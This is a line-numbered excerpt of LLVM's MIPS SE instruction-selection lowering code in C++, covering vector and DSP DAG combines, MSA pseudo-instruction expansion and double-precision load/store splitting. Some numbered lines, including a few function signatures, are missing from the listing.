558 if (BVN->isConstantSplat(SplatValue, SplatUndef, SplatBitSize, HasAnyUndefs))
559 return SplatValue.isAllOnesValue();
560
561 return false;
562 }
563
564 // Test whether N is the bitwise inverse of OfNode.
565 static bool isBitwiseInverse(SDValue N, SDValue OfNode) {
566 if (N->getOpcode() != ISD::XOR)
567 return false;
568
569 if (isVectorAllOnes(N->getOperand(0)))
570 return N->getOperand(1) == OfNode;
571
572 if (isVectorAllOnes(N->getOperand(1)))
573 return N->getOperand(0) == OfNode;
574
575 return false;
576 }
577
578 // Perform combines where ISD::OR is the root node.
579 //
580 // Performs the following transformations:
581 // - (or (and $a, $mask), (and $b, $inv_mask)) => (vselect $mask, $a, $b)
582 // where $inv_mask is the bitwise inverse of $mask and the 'or' has a 128-bit
583 // vector type.
586 const MipsSubtarget &Subtarget) {
587 if (!Subtarget.hasMSA())
588 return SDValue();
589
590 EVT Ty = N->getValueType(0);
591
592 if (!Ty.is128BitVector())
593 return SDValue();
594
595 SDValue Op0 = N->getOperand(0);
596 SDValue Op1 = N->getOperand(1);
597
598 if (Op0->getOpcode() == ISD::AND && Op1->getOpcode() == ISD::AND) {
599 SDValue Op0Op0 = Op0->getOperand(0);
600 SDValue Op0Op1 = Op0->getOperand(1);
601 SDValue Op1Op0 = Op1->getOperand(0);
602 SDValue Op1Op1 = Op1->getOperand(1);
603 bool IsLittleEndian = !Subtarget.isLittle();
604
605 SDValue IfSet, IfClr, Cond;
606 bool IsConstantMask = false;
607 APInt Mask, InvMask;
608
609 // If Op0Op0 is an appropriate mask, try to find it's inverse in either
610 // Op1Op0, or Op1Op1. Keep track of the Cond, IfSet, and IfClr nodes, while
611 // looking.
612 // IfClr will be set if we find a valid match.
613 if (isVSplat(Op0Op0, Mask, IsLittleEndian)) {
614 Cond = Op0Op0;
615 IfSet = Op0Op1;
616
617 if (isVSplat(Op1Op0, InvMask, IsLittleEndian) &&
618 Mask.getBitWidth() == InvMask.getBitWidth() && Mask == ~InvMask)
619 IfClr = Op1Op1;
620 else if (isVSplat(Op1Op1, InvMask, IsLittleEndian) &&
621 Mask.getBitWidth() == InvMask.getBitWidth() && Mask == ~InvMask)
622 IfClr = Op1Op0;
623
624 IsConstantMask = true;
625 }
626
627 // If IfClr is not yet set, and Op0Op1 is an appropriate mask, try the same
628 // thing again using this mask.
629 // IfClr will be set if we find a valid match.
630 if (!IfClr.getNode() && isVSplat(Op0Op1, Mask, IsLittleEndian)) {
631 Cond = Op0Op1;
632 IfSet = Op0Op0;
633
634 if (isVSplat(Op1Op0, InvMask, IsLittleEndian) &&
635 Mask.getBitWidth() == InvMask.getBitWidth() && Mask == ~InvMask)
636 IfClr = Op1Op1;
637 else if (isVSplat(Op1Op1, InvMask, IsLittleEndian) &&
638 Mask.getBitWidth() == InvMask.getBitWidth() && Mask == ~InvMask)
639 IfClr = Op1Op0;
640
641 IsConstantMask = true;
642 }
643
644 // If IfClr is not yet set, try looking for a non-constant match.
645 // IfClr will be set if we find a valid match amongst the eight
646 // possibilities.
647 if (!IfClr.getNode()) {
648 if (isBitwiseInverse(Op0Op0, Op1Op0)) {
649 Cond = Op1Op0;
650 IfSet = Op1Op1;
651 IfClr = Op0Op1;
652 } else if (isBitwiseInverse(Op0Op1, Op1Op0)) {
653 Cond = Op1Op0;
654 IfSet = Op1Op1;
655 IfClr = Op0Op0;
656 } else if (isBitwiseInverse(Op0Op0, Op1Op1)) {
657 Cond = Op1Op1;
658 IfSet = Op1Op0;
659 IfClr = Op0Op1;
660 } else if (isBitwiseInverse(Op0Op1, Op1Op1)) {
661 Cond = Op1Op1;
662 IfSet = Op1Op0;
663 IfClr = Op0Op0;
664 } else if (isBitwiseInverse(Op1Op0, Op0Op0)) {
665 Cond = Op0Op0;
666 IfSet = Op0Op1;
667 IfClr = Op1Op1;
668 } else if (isBitwiseInverse(Op1Op1, Op0Op0)) {
669 Cond = Op0Op0;
670 IfSet = Op0Op1;
671 IfClr = Op1Op0;
672 } else if (isBitwiseInverse(Op1Op0, Op0Op1)) {
673 Cond = Op0Op1;
674 IfSet = Op0Op0;
675 IfClr = Op1Op1;
676 } else if (isBitwiseInverse(Op1Op1, Op0Op1)) {
677 Cond = Op0Op1;
678 IfSet = Op0Op0;
679 IfClr = Op1Op0;
680 }
681 }
682
683 // At this point, IfClr will be set if we have a valid match.
684 if (!IfClr.getNode())
685 return SDValue();
686
687 assert(Cond.getNode() && IfSet.getNode());
688
689 // Fold degenerate cases.
690 if (IsConstantMask) {
691 if (Mask.isAllOnesValue())
692 return IfSet;
693 else if (Mask == 0)
694 return IfClr;
695 }
696
697 // Transform the DAG into an equivalent VSELECT.
698 return DAG.getNode(ISD::VSELECT, SDLoc(N), Ty, Cond, IfSet, IfClr);
699 }
700
701 return SDValue();
702 }
703
704 static SDValue genConstMult(SDValue X, APInt C, const SDLoc &DL, EVT VT,
705 EVT ShiftTy, SelectionDAG &DAG) {
706 // Return 0.
707 if (C == 0)
708 return DAG.getConstant(0, DL, VT);
709
710 // Return x.
711 if (C == 1)
712 return X;
713
714 // If c is power of 2, return (shl x, log2(c)).
715 if (C.isPowerOf2())
716 return DAG.getNode(ISD::SHL, DL, VT, X,
717 DAG.getConstant(C.logBase2(), DL, ShiftTy));
718
719 unsigned BitWidth = C.getBitWidth();
720 APInt Floor = APInt(BitWidth, 1) << C.logBase2();
721 APInt Ceil = C.isNegative() ? APInt(BitWidth, 0) :
722 APInt(BitWidth, 1) << C.ceilLogBase2();
723
724 // If |c - floor_c| <= |c - ceil_c|,
725 // where floor_c = pow(2, floor(log2(c))) and ceil_c = pow(2, ceil(log2(c))),
726 // return (add constMult(x, floor_c), constMult(x, c - floor_c)).
727 if ((C - Floor).ule(Ceil - C)) {
728 SDValue Op0 = genConstMult(X, Floor, DL, VT, ShiftTy, DAG);
729 SDValue Op1 = genConstMult(X, C - Floor, DL, VT, ShiftTy, DAG);
730 return DAG.getNode(ISD::ADD, DL, VT, Op0, Op1);
731 }
732
733 // If |c - floor_c| > |c - ceil_c|,
734 // return (sub constMult(x, ceil_c), constMult(x, ceil_c - c)).
735 SDValue Op0 = genConstMult(X, Ceil, DL, VT, ShiftTy, DAG);
736 SDValue Op1 = genConstMult(X, Ceil - C, DL, VT, ShiftTy, DAG);
737 return DAG.getNode(ISD::SUB, DL, VT, Op0, Op1);
738 }
739
742 const MipsSETargetLowering *TL) {
743 EVT VT = N->getValueType(0);
744
745 if (ConstantSDNode *C = dyn_cast<ConstantSDNode>(N->getOperand(1)))
746 if (!VT.isVector())
747 return genConstMult(N->getOperand(0), C->getAPIntValue(), SDLoc(N), VT,
748 TL->getScalarShiftAmountTy(DAG.getDataLayout(), VT),
749 DAG);
750
751 return SDValue(N, 0);
752 }
753
754 static SDValue performDSPShiftCombine(unsigned Opc, SDNode *N, EVT Ty,
755 SelectionDAG &DAG,
756 const MipsSubtarget &Subtarget) {
757 // See if this is a vector splat immediate node.
758 APInt SplatValue, SplatUndef;
759 unsigned SplatBitSize;
760 bool HasAnyUndefs;
761 unsigned EltSize = Ty.getScalarSizeInBits();
763
764 if (!Subtarget.hasDSP())
765 return SDValue();
766
767 if (!BV ||
768 !BV->isConstantSplat(SplatValue, SplatUndef, SplatBitSize, HasAnyUndefs,
769 EltSize, !Subtarget.isLittle()) ||
770 (SplatBitSize != EltSize) ||
771 (SplatValue.getZExtValue() >= EltSize))
772 return SDValue();
773
774 SDLoc DL(N);
775 return DAG.getNode(Opc, DL, Ty, N->getOperand(0),
776 DAG.getConstant(SplatValue.getZExtValue(), DL, MVT::i32));
777 }
778
781 const MipsSubtarget &Subtarget) {
782 EVT Ty = N->getValueType(0);
783
784 if ((Ty != MVT::v2i16) && (Ty != MVT::v4i8))
785 return SDValue();
786
787 return performDSPShiftCombine(MipsISD::SHLL_DSP, N, Ty, DAG, Subtarget);
788 }
789
790 // Fold sign-extensions into MipsISD::VEXTRACT_[SZ]EXT_ELT for MSA and fold
791 // constant splats into MipsISD::SHRA_DSP for DSPr2.
792 //
793 // Performs the following transformations:
794 // - Changes MipsISD::VEXTRACT_[SZ]EXT_ELT to sign extension if its
795 // sign/zero-extension is completely overwritten by the new one performed by
796 // the ISD::SRA and ISD::SHL nodes.
797 // - Removes redundant sign extensions performed by an ISD::SRA and ISD::SHL
798 // sequence.
799 //
800 // See performDSPShiftCombine for more information about the transformation
801 // used for DSPr2.
804 const MipsSubtarget &Subtarget) {
805 EVT Ty = N->getValueType(0);
806
807 if (Subtarget.hasMSA()) {
808 SDValue Op0 = N->getOperand(0);
809 SDValue Op1 = N->getOperand(1);
810
811 // (sra (shl (MipsVExtract[SZ]Ext $a, $b, $c), imm:$d), imm:$d)
812 // where $d + sizeof($c) == 32
813 // or $d + sizeof($c) <= 32 and SExt
814 // -> (MipsVExtractSExt $a, $b, $c)
815 if (Op0->getOpcode() == ISD::SHL && Op1 == Op0->getOperand(1)) {
816 SDValue Op0Op0 = Op0->getOperand(0);
817 ConstantSDNode *ShAmount = dyn_cast<ConstantSDNode>(Op1);
818
819 if (!ShAmount)
820 return SDValue();
821
822 if (Op0Op0->getOpcode() != MipsISD::VEXTRACT_SEXT_ELT &&
824 return SDValue();
825
826 EVT ExtendTy = cast<VTSDNode>(Op0Op0->getOperand(2))->getVT();
827 unsigned TotalBits = ShAmount->getZExtValue() + ExtendTy.getSizeInBits();
828
829 if (TotalBits == 32 ||
830 (Op0Op0->getOpcode() == MipsISD::VEXTRACT_SEXT_ELT &&
831 TotalBits <= 32)) {
832 SDValue Ops[] = { Op0Op0->getOperand(0), Op0Op0->getOperand(1),
833 Op0Op0->getOperand(2) };
834 return DAG.getNode(MipsISD::VEXTRACT_SEXT_ELT, SDLoc(Op0Op0),
835 Op0Op0->getVTList(),
836 makeArrayRef(Ops, Op0Op0->getNumOperands()));
837 }
838 }
839 }
840
841 if ((Ty != MVT::v2i16) && ((Ty != MVT::v4i8) || !Subtarget.hasDSPR2()))
842 return SDValue();
843
844 return performDSPShiftCombine(MipsISD::SHRA_DSP, N, Ty, DAG, Subtarget);
845 }
846
847
850 const MipsSubtarget &Subtarget) {
851 EVT Ty = N->getValueType(0);
852
853 if (((Ty != MVT::v2i16) || !Subtarget.hasDSPR2()) && (Ty != MVT::v4i8))
854 return SDValue();
855
856 return performDSPShiftCombine(MipsISD::SHRL_DSP, N, Ty, DAG, Subtarget);
857 }
858
859 static bool isLegalDSPCondCode(EVT Ty, ISD::CondCode CC) {
860 bool IsV216 = (Ty == MVT::v2i16);
861
862 switch (CC) {
863 case ISD::SETEQ:
864 case ISD::SETNE: return true;
865 case ISD::SETLT:
866 case ISD::SETLE:
867 case ISD::SETGT:
868 case ISD::SETGE: return IsV216;
869 case ISD::SETULT:
870 case ISD::SETULE:
871 case ISD::SETUGT:
872 case ISD::SETUGE: return !IsV216;
873 default: return false;
874 }
875 }
876
878 EVT Ty = N->getValueType(0);
879
880 if ((Ty != MVT::v2i16) && (Ty != MVT::v4i8))
881 return SDValue();
882
883 if (!isLegalDSPCondCode(Ty, cast<CondCodeSDNode>(N->getOperand(2))->get()))
884 return SDValue();
885
886 return DAG.getNode(MipsISD::SETCC_DSP, SDLoc(N), Ty, N->getOperand(0),
887 N->getOperand(1), N->getOperand(2));
888 }
889
891 EVT Ty = N->getValueType(0);
892
893 if (Ty.is128BitVector() && Ty.isInteger()) {
894 // Try the following combines:
895 // (vselect (setcc $a, $b, SETLT), $b, $a)) -> (vsmax $a, $b)
896 // (vselect (setcc $a, $b, SETLE), $b, $a)) -> (vsmax $a, $b)
897 // (vselect (setcc $a, $b, SETLT), $a, $b)) -> (vsmin $a, $b)
898 // (vselect (setcc $a, $b, SETLE), $a, $b)) -> (vsmin $a, $b)
899 // (vselect (setcc $a, $b, SETULT), $b, $a)) -> (vumax $a, $b)
900 // (vselect (setcc $a, $b, SETULE), $b, $a)) -> (vumax $a, $b)
901 // (vselect (setcc $a, $b, SETULT), $a, $b)) -> (vumin $a, $b)
902 // (vselect (setcc $a, $b, SETULE), $a, $b)) -> (vumin $a, $b)
903 // SETGT/SETGE/SETUGT/SETUGE variants of these will show up initially but
904 // will be expanded to equivalent SETLT/SETLE/SETULT/SETULE versions by the
905 // legalizer.
906 SDValue Op0 = N->getOperand(0);
907
908 if (Op0->getOpcode() != ISD::SETCC)
909 return SDValue();
910
911 ISD::CondCode CondCode = cast<CondCodeSDNode>(Op0->getOperand(2))->get();
912 bool Signed;
913
914 if (CondCode == ISD::SETLT || CondCode == ISD::SETLE)
915 Signed = true;
916 else if (CondCode == ISD::SETULT || CondCode == ISD::SETULE)
917 Signed = false;
918 else
919 return SDValue();
920
921 SDValue Op1 = N->getOperand(1);
922 SDValue Op2 = N->getOperand(2);
923 SDValue Op0Op0 = Op0->getOperand(0);
924 SDValue Op0Op1 = Op0->getOperand(1);
925
926 if (Op1 == Op0Op0 && Op2 == Op0Op1)
927 return DAG.getNode(Signed ? MipsISD::VSMIN : MipsISD::VUMIN, SDLoc(N),
928 Ty, Op1, Op2);
929 else if (Op1 == Op0Op1 && Op2 == Op0Op0)
930 return DAG.getNode(Signed ? MipsISD::VSMAX : MipsISD::VUMAX, SDLoc(N),
931 Ty, Op1, Op2);
932 } else if ((Ty == MVT::v2i16) || (Ty == MVT::v4i8)) {
933 SDValue SetCC = N->getOperand(0);
934
935 if (SetCC.getOpcode() != MipsISD::SETCC_DSP)
936 return SDValue();
937
938 return DAG.getNode(MipsISD::SELECT_CC_DSP, SDLoc(N), Ty,
939 SetCC.getOperand(0), SetCC.getOperand(1),
940 N->getOperand(1), N->getOperand(2), SetCC.getOperand(2));
941 }
942
943 return SDValue();
944 }
945
947 const MipsSubtarget &Subtarget) {
948 EVT Ty = N->getValueType(0);
949
950 if (Subtarget.hasMSA() && Ty.is128BitVector() && Ty.isInteger()) {
951 // Try the following combines:
952 // (xor (or $a, $b), (build_vector allones))
953 // (xor (or $a, $b), (bitcast (build_vector allones)))
954 SDValue Op0 = N->getOperand(0);
955 SDValue Op1 = N->getOperand(1);
956 SDValue NotOp;
957
959 NotOp = Op1;
960 else if (ISD::isBuildVectorAllOnes(Op1.getNode()))
961 NotOp = Op0;
962 else
963 return SDValue();
964
965 if (NotOp->getOpcode() == ISD::OR)
966 return DAG.getNode(MipsISD::VNOR, SDLoc(N), Ty, NotOp->getOperand(0),
967 NotOp->getOperand(1));
968 }
969
970 return SDValue();
971 }
972
973 SDValue
975 SelectionDAG &DAG = DCI.DAG;
976 SDValue Val;
977
978 switch (N->getOpcode()) {
979 case ISD::AND:
980 Val = performANDCombine(N, DAG, DCI, Subtarget);
981 break;
982 case ISD::OR:
983 Val = performORCombine(N, DAG, DCI, Subtarget);
984 break;
985 case ISD::MUL:
986 return performMULCombine(N, DAG, DCI, this);
987 case ISD::SHL:
988 Val = performSHLCombine(N, DAG, DCI, Subtarget);
989 break;
990 case ISD::SRA:
991 return performSRACombine(N, DAG, DCI, Subtarget);
992 case ISD::SRL:
993 return performSRLCombine(N, DAG, DCI, Subtarget);
994 case ISD::VSELECT:
995 return performVSELECTCombine(N, DAG);
996 case ISD::XOR:
997 Val = performXORCombine(N, DAG, Subtarget);
998 break;
999 case ISD::SETCC:
1000 Val = performSETCCCombine(N, DAG);
1001 break;
1002 }
1003
1004 if (Val.getNode()) {
1005 DEBUG(dbgs() << "\nMipsSE DAG Combine:\n";
1006 N->printrWithDepth(dbgs(), &DAG);
1007 dbgs() << "\n=> \n";
1008 Val.getNode()->printrWithDepth(dbgs(), &DAG);
1009 dbgs() << "\n");
1010 return Val;
1011 }
1012
1014 }
1015
1018 MachineBasicBlock *BB) const {
1019 switch (MI.getOpcode()) {
1020 default:
1022 case Mips::BPOSGE32_PSEUDO:
1023 return emitBPOSGE32(MI, BB);
1024 case Mips::SNZ_B_PSEUDO:
1025 return emitMSACBranchPseudo(MI, BB, Mips::BNZ_B);
1026 case Mips::SNZ_H_PSEUDO:
1027 return emitMSACBranchPseudo(MI, BB, Mips::BNZ_H);
1028 case Mips::SNZ_W_PSEUDO:
1029 return emitMSACBranchPseudo(MI, BB, Mips::BNZ_W);
1030 case Mips::SNZ_D_PSEUDO:
1031 return emitMSACBranchPseudo(MI, BB, Mips::BNZ_D);
1032 case Mips::SNZ_V_PSEUDO:
1033 return emitMSACBranchPseudo(MI, BB, Mips::BNZ_V);
1034 case Mips::SZ_B_PSEUDO:
1035 return emitMSACBranchPseudo(MI, BB, Mips::BZ_B);
1036 case Mips::SZ_H_PSEUDO:
1037 return emitMSACBranchPseudo(MI, BB, Mips::BZ_H);
1038 case Mips::SZ_W_PSEUDO:
1039 return emitMSACBranchPseudo(MI, BB, Mips::BZ_W);
1040 case Mips::SZ_D_PSEUDO:
1041 return emitMSACBranchPseudo(MI, BB, Mips::BZ_D);
1042 case Mips::SZ_V_PSEUDO:
1043 return emitMSACBranchPseudo(MI, BB, Mips::BZ_V);
1044 case Mips::COPY_FW_PSEUDO:
1045 return emitCOPY_FW(MI, BB);
1046 case Mips::COPY_FD_PSEUDO:
1047 return emitCOPY_FD(MI, BB);
1048 case Mips::INSERT_FW_PSEUDO:
1049 return emitINSERT_FW(MI, BB);
1050 case Mips::INSERT_FD_PSEUDO:
1051 return emitINSERT_FD(MI, BB);
1052 case Mips::INSERT_B_VIDX_PSEUDO:
1053 case Mips::INSERT_B_VIDX64_PSEUDO:
1054 return emitINSERT_DF_VIDX(MI, BB, 1, false);
1055 case Mips::INSERT_H_VIDX_PSEUDO:
1056 case Mips::INSERT_H_VIDX64_PSEUDO:
1057 return emitINSERT_DF_VIDX(MI, BB, 2, false);
1058 case Mips::INSERT_W_VIDX_PSEUDO:
1059 case Mips::INSERT_W_VIDX64_PSEUDO:
1060 return emitINSERT_DF_VIDX(MI, BB, 4, false);
1061 case Mips::INSERT_D_VIDX_PSEUDO:
1062 case Mips::INSERT_D_VIDX64_PSEUDO:
1063 return emitINSERT_DF_VIDX(MI, BB, 8, false);
1064 case Mips::INSERT_FW_VIDX_PSEUDO:
1065 case Mips::INSERT_FW_VIDX64_PSEUDO:
1066 return emitINSERT_DF_VIDX(MI, BB, 4, true);
1067 case Mips::INSERT_FD_VIDX_PSEUDO:
1068 case Mips::INSERT_FD_VIDX64_PSEUDO:
1069 return emitINSERT_DF_VIDX(MI, BB, 8, true);
1070 case Mips::FILL_FW_PSEUDO:
1071 return emitFILL_FW(MI, BB);
1072 case Mips::FILL_FD_PSEUDO:
1073 return emitFILL_FD(MI, BB);
1074 case Mips::FEXP2_W_1_PSEUDO:
1075 return emitFEXP2_W_1(MI, BB);
1076 case Mips::FEXP2_D_1_PSEUDO:
1077 return emitFEXP2_D_1(MI, BB);
1078 case Mips::ST_F16:
1079 return emitST_F16_PSEUDO(MI, BB);
1080 case Mips::LD_F16:
1081 return emitLD_F16_PSEUDO(MI, BB);
1082 case Mips::MSA_FP_EXTEND_W_PSEUDO:
1083 return emitFPEXTEND_PSEUDO(MI, BB, false);
1084 case Mips::MSA_FP_ROUND_W_PSEUDO:
1085 return emitFPROUND_PSEUDO(MI, BB, false);
1086 case Mips::MSA_FP_EXTEND_D_PSEUDO:
1087 return emitFPEXTEND_PSEUDO(MI, BB, true);
1088 case Mips::MSA_FP_ROUND_D_PSEUDO:
1089 return emitFPROUND_PSEUDO(MI, BB, true);
1090 }
1091 }
1092
1093 bool MipsSETargetLowering::isEligibleForTailCallOptimization(
1094 const CCState &CCInfo, unsigned NextStackOffset,
1095 const MipsFunctionInfo &FI) const {
1096 if (!UseMipsTailCalls)
1097 return false;
1098
1099 // Exception has to be cleared with eret.
1100 if (FI.isISR())
1101 return false;
1102
1103 // Return false if either the callee or caller has a byval argument.
1104 if (CCInfo.getInRegsParamsCount() > 0 || FI.hasByvalArg())
1105 return false;
1106
1107 // Return true if the callee's argument area is no larger than the
1108 // caller's.
1109 return NextStackOffset <= FI.getIncomingArgSize();
1110 }
1111
1112 void MipsSETargetLowering::
1113 getOpndList(SmallVectorImpl<SDValue> &Ops,
1114 std::deque<std::pair<unsigned, SDValue>> &RegsToPass,
1115 bool IsPICCall, bool GlobalOrExternal, bool InternalLinkage,
1116 bool IsCallReloc, CallLoweringInfo &CLI, SDValue Callee,
1117 SDValue Chain) const {
1118 Ops.push_back(Callee);
1119 MipsTargetLowering::getOpndList(Ops, RegsToPass, IsPICCall, GlobalOrExternal,
1120 InternalLinkage, IsCallReloc, CLI, Callee,
1121 Chain);
1122 }
1123
1124 SDValue MipsSETargetLowering::lowerLOAD(SDValue Op, SelectionDAG &DAG) const {
1125 LoadSDNode &Nd = *cast<LoadSDNode>(Op);
1126
1127 if (Nd.getMemoryVT() != MVT::f64 || !NoDPLoadStore)
1128 return MipsTargetLowering::lowerLOAD(Op, DAG);
1129
1130 // Replace a double precision load with two i32 loads and a buildpair64.
1131 SDLoc DL(Op);
1132 SDValue Ptr = Nd.getBasePtr(), Chain = Nd.getChain();
1133 EVT PtrVT = Ptr.getValueType();
1134
1135 // i32 load from lower address.
1136 SDValue Lo = DAG.getLoad(MVT::i32, DL, Chain, Ptr, MachinePointerInfo(),
1137 Nd.getAlignment(), Nd.getMemOperand()->getFlags());
1138
1139 // i32 load from higher address.
1140 Ptr = DAG.getNode(ISD::ADD, DL, PtrVT, Ptr, DAG.getConstant(4, DL, PtrVT));
1141 SDValue Hi = DAG.getLoad(
1142 MVT::i32, DL, Lo.getValue(1), Ptr, MachinePointerInfo(),
1143 std::min(Nd.getAlignment(), 4U), Nd.getMemOperand()->getFlags());
1144
1145 if (!Subtarget.isLittle())
1146 std::swap(Lo, Hi);
1147
1148 SDValue BP = DAG.getNode(MipsISD::BuildPairF64, DL, MVT::f64, Lo, Hi);
1149 SDValue Ops[2] = {BP, Hi.getValue(1)};
1150 return DAG.getMergeValues(Ops, DL);
1151 }
1152
1153 SDValue MipsSETargetLowering::lowerSTORE(SDValue Op, SelectionDAG &DAG) const {
1154 StoreSDNode &Nd = *cast<StoreSDNode>(Op);
1155
1156 if (Nd.getMemoryVT() != MVT::f64 || !NoDPLoadStore)
1157 return MipsTargetLowering::lowerSTORE(Op, DAG);
1158
1159 // Replace a double precision store with two extractelement64s and i32 stores.
1160 SDLoc DL(Op);
1161 SDValue Val = Nd.getValue(), Ptr = Nd.getBasePtr(), Chain = Nd.getChain();
1162 EVT PtrVT = Ptr.getValueType();
1164 Val, DAG.getConstant(0, DL, MVT::i32));
1166 Val, DAG.getConstant(1, DL, MVT::i32));
1167
1168 if (!Subtarget.isLittle())
1169 std::swap(Lo, Hi);
1170
1171 // i32 store to lower address.
1172 Chain =
1173 DAG.getStore(Chain, DL, Lo, Ptr, MachinePointerInfo(), Nd.getAlignment(),
1174 Nd.getMemOperand()->getFlags(), Nd.getAAInfo());
1175
1176 // i32 store to higher address.
1177 Ptr = DAG.getNode(ISD::ADD, DL, PtrVT, Ptr, DAG.getConstant(4, DL, PtrVT));
1178 return DAG.getStore(Chain, DL, Hi, Ptr, MachinePointerInfo(),
1179 std::min(Nd.getAlignment(), 4U),
1180 Nd.getMemOperand()->getFlags(), Nd.getAAInfo());
1181 }
1182
1183 SDValue MipsSETargetLowering::lowerMulDiv(SDValue Op, unsigned NewOpc,
1184 bool HasLo, bool HasHi,
1185 SelectionDAG &DAG) const {
1186 // MIPS32r6/MIPS64r6 removed accumulator based multiplies.
1188
1189 EVT Ty = Op.getOperand(0).getValueType();
1190 SDLoc DL(Op);
1191 SDValue Mult = DAG.getNode(NewOpc, DL, MVT::Untyped,
1192 Op.getOperand(0), Op.getOperand(1));
1193 SDValue Lo, Hi;
1194
1195 if (HasLo)
1196 Lo = DAG.getNode(MipsISD::MFLO, DL, Ty, Mult);
1197 if (HasHi)
1198 Hi = DAG.getNode(MipsISD::MFHI, DL, Ty, Mult);
1199
1200 if (!HasLo || !HasHi)
1201 return HasLo ? Lo : Hi;
1202
1203 SDValue Vals[] = { Lo, Hi };
1204 return DAG.getMergeValues(Vals, DL);
1205 }
1206
1208 SDValue InLo = DAG.getNode(ISD::EXTRACT_ELEMENT, DL, MVT::i32, In,
1209 DAG.getConstant(0, DL, MVT::i32));
1210 SDValue InHi = DAG.getNode(ISD::EXTRACT_ELEMENT, DL, MVT::i32, In,
1211 DAG.getConstant(1, DL, MVT::i32));
1212 return DAG.getNode(MipsISD::MTLOHI, DL, MVT::Untyped, InLo, InHi);
1213 }
1214
1215 static SDValue extractLOHI(SDValue Op, const SDLoc &DL, SelectionDAG &DAG) {
1216 SDValue Lo = DAG.getNode(MipsISD::MFLO, DL, MVT::i32, Op);
1217 SDValue Hi = DAG.getNode(MipsISD::MFHI, DL, MVT::i32, Op);
1218 return DAG.getNode(ISD::BUILD_PAIR, DL, MVT::i64, Lo, Hi);
1219 }
1220
1221 // This function expands mips intrinsic nodes which have 64-bit input operands
1222 // or output values.
1223 //
1224 // out64 = intrinsic-node in64
1225 // =>
1226 // lo = copy (extract-element (in64, 0))
1227 // hi = copy (extract-element (in64, 1))
1228 // mips-specific-node
1229 // v0 = copy lo
1230 // v1 = copy hi
1231 // out64 = merge-values (v0, v1)
1232 //
1233 static SDValue lowerDSPIntr(SDValue Op, SelectionDAG &DAG, unsigned Opc) {
1234 SDLoc DL(Op);
1235 bool HasChainIn = Op->getOperand(0).getValueType() == MVT::Other;
1237 unsigned OpNo = 0;
1238
1239 // See if Op has a chain input.
1240 if (HasChainIn)
1241 Ops.push_back(Op->getOperand(OpNo++));
1242
1243 // The next operand is the intrinsic opcode.
1245
1246 // See if the next operand has type i64.
1247 SDValue Opnd = Op->getOperand(++OpNo), In64;
1248
1249 if (Opnd.getValueType() == MVT::i64)
1250 In64 = initAccumulator(Opnd, DL, DAG);
1251 else
1252 Ops.push_back(Opnd);
1253
1254 // Push the remaining operands.
1255 for (++OpNo ; OpNo < Op->getNumOperands(); ++OpNo)
1256 Ops.push_back(Op->getOperand(OpNo));
1257
1258 // Add In64 to the end of the list.
1259 if (In64.getNode())
1260 Ops.push_back(In64);
1261
1262 // Scan output.
1263 SmallVector<EVT, 2> ResTys;
1264
1265 for (SDNode::value_iterator I = Op->value_begin(), E = Op->value_end();
1266 I != E; ++I)
1267 ResTys.push_back((*I == MVT::i64) ? MVT::Untyped : *I);
1268
1269 // Create node.
1270 SDValue Val = DAG.getNode(Opc, DL, ResTys, Ops);
1271 SDValue Out = (ResTys[0] == MVT::Untyped) ? extractLOHI(Val, DL, DAG) : Val;
1272
1273 if (!HasChainIn)
1274 return Out;
1275
1276 assert(Val->getValueType(1) == MVT::Other);
1277 SDValue Vals[] = { Out, SDValue(Val.getNode(), 1) };
1278 return DAG.getMergeValues(Vals, DL);
1279 }
1280
1281 // Lower an MSA copy intrinsic into the specified SelectionDAG node
1282 static SDValue lowerMSACopyIntr(SDValue Op, SelectionDAG &DAG, unsigned Opc) {
1283 SDLoc DL(Op);
1284 SDValue Vec = Op->getOperand(1);
1285 SDValue Idx = Op->getOperand(2);
1286 EVT ResTy = Op->getValueType(0);
1287 EVT EltTy = Vec->getValueType(0).getVectorElementType();
1288
1289 SDValue Result = DAG.getNode(Opc, DL, ResTy, Vec, Idx,
1290 DAG.getValueType(EltTy));
1291
1292 return Result;
1293 }
1294
1295 static SDValue lowerMSASplatZExt(SDValue Op, unsigned OpNr, SelectionDAG &DAG) {
1296 EVT ResVecTy = Op->getValueType(0);
1297 EVT ViaVecTy = ResVecTy;
1298 bool BigEndian = !DAG.getSubtarget().getTargetTriple().isLittleEndian();
1299 SDLoc DL(Op);
1300
1301 // When ResVecTy == MVT::v2i64, LaneA is the upper 32 bits of the lane and
1302 // LaneB is the lower 32-bits. Otherwise LaneA and LaneB are alternating
1303 // lanes.
1304 SDValue LaneA = Op->getOperand(OpNr);
1305 SDValue LaneB;
1306
1307 if (ResVecTy == MVT::v2i64) {
1308 LaneB = DAG.getConstant(0, DL, MVT::i32);
1309 ViaVecTy = MVT::v4i32;
1310 if(BigEndian)
1311 std::swap(LaneA, LaneB);
1312 } else
1313 LaneB = LaneA;
1314
1315 SDValue Ops[16] = { LaneA, LaneB, LaneA, LaneB, LaneA, LaneB, LaneA, LaneB,
1316 LaneA, LaneB, LaneA, LaneB, LaneA, LaneB, LaneA, LaneB };
1317
1318 SDValue Result = DAG.getBuildVector(
1319 ViaVecTy, DL, makeArrayRef(Ops, ViaVecTy.getVectorNumElements()));
1320
1321 if (ViaVecTy != ResVecTy) {
1322 SDValue One = DAG.getConstant(1, DL, ViaVecTy);
1323 Result = DAG.getNode(ISD::BITCAST, DL, ResVecTy,
1324 DAG.getNode(ISD::AND, DL, ViaVecTy, Result, One));
1325 }
1326
1327 return Result;
1328 }
1329
1330 static SDValue lowerMSASplatImm(SDValue Op, unsigned ImmOp, SelectionDAG &DAG,
1331 bool IsSigned = false) {
1332 return DAG.getConstant(
1334 Op->getConstantOperandVal(ImmOp), IsSigned),
1335 SDLoc(Op), Op->getValueType(0));
1336 }
1337
1338 static SDValue getBuildVectorSplat(EVT VecTy, SDValue SplatValue,
1339 bool BigEndian, SelectionDAG &DAG) {
1340 EVT ViaVecTy = VecTy;
1341 SDValue SplatValueA = SplatValue;
1342 SDValue SplatValueB = SplatValue;
1343 SDLoc DL(SplatValue);
1344
1345 if (VecTy == MVT::v2i64) {
1346 // v2i64 BUILD_VECTOR must be performed via v4i32 so split into i32's.
1347 ViaVecTy = MVT::v4i32;
1348
1349 SplatValueA = DAG.getNode(ISD::TRUNCATE, DL, MVT::i32, SplatValue);
1350 SplatValueB = DAG.getNode(ISD::SRL, DL, MVT::i64, SplatValue,
1351 DAG.getConstant(32, DL, MVT::i32));
1352 SplatValueB = DAG.getNode(ISD::TRUNCATE, DL, MVT::i32, SplatValueB);
1353 }
1354
1355 // We currently hold the parts in little endian order. Swap them if
1356 // necessary.
